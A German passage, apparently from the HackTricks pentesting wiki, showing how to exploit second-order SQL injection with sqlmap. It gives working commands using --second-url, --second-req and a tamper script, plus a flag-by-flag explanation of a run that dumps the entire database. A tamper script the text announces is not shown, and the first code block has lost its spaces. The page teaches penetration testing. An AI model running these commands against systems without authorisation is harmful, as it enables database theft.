Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories senden.
SQLMap kann Second Order SQL-Injections ausnutzen.
Sie müssen angeben:
Die Anfrage, in der die SQL-Injection-Payload gespeichert wird
Die Anfrage, in der die Payloadausgeführt wird
Die Anfrage, in der die SQL-Injection-Payload gespeichert wird, wird wie bei jeder anderen Injection in sqlmap angegeben. Die Anfrage, in der sqlmap die Ausgabe/Ausführung der Injection lesen kann, kann mit --second-url oder mit --second-req angegeben werden, wenn Sie eine vollständige Anfrage aus einer Datei angeben müssen.
Einfaches Beispiel für eine Second Order Injection:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
In einigen Fällen reicht dies jedoch nicht aus, da Sie zusätzlich zu dem Senden des Payloads und dem Zugriff auf eine andere Seite andere Aktionen durchführen müssen.
Wenn dies erforderlich ist, können Sie einen sqlmap tamper verwenden. Zum Beispiel registriert das folgende Skript einen neuen Benutzer unter Verwendung des sqlmap Payloads als E-Mail und meldet sich ab.
Ein SQLMap-Tamper wird immer vor dem Start eines Injection-Versuchs mit einem Payload ausgeführtund muss einen Payload zurückgeben. In diesem Fall kümmern wir uns nicht um den Payload, sondern darum, einige Anfragen zu senden, sodass der Payload nicht geändert wird.
Wenn wir aus irgendeinem Grund einen komplexeren Ablauf benötigen, um die Second-Order-SQL-Injection auszunutzen, wie zum Beispiel:
Erstellen eines Kontos mit dem SQLi-Payload im Feld "E-Mail"
Abmelden
Mit diesem Konto anmelden (login.txt)
Eine Anfrage senden, um die SQL-Injection auszuführen (second.txt)
Diese sqlmap-Zeile wird helfen:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all